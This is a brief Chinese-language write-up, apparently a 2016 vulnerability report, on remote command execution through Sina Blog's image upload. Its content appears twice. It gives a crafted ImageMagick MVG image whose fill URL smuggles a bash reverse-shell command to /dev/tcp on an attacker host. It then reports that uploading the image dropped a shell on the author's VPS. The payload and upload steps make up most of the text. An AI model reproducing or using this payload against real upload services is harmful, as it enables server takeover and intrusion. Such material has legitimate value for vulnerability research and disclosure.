新浪博客命令执行
2016年05月10日
原文
新浪博客命令执行(凑个热闹)
新浪博客发图片的地方
选择图片
图片内容为
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/x.x.x.x/80 0>&1")'
pop graphic-context
一步一步点到保存成功
开始上传
shell躺在了vps上
新浪博客发图片的地方
选择图片
图片内容为
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/x.x.x.x/80 0>&1")'
pop graphic-context
一步一步点到保存成功
开始上传
shell躺在了vps上
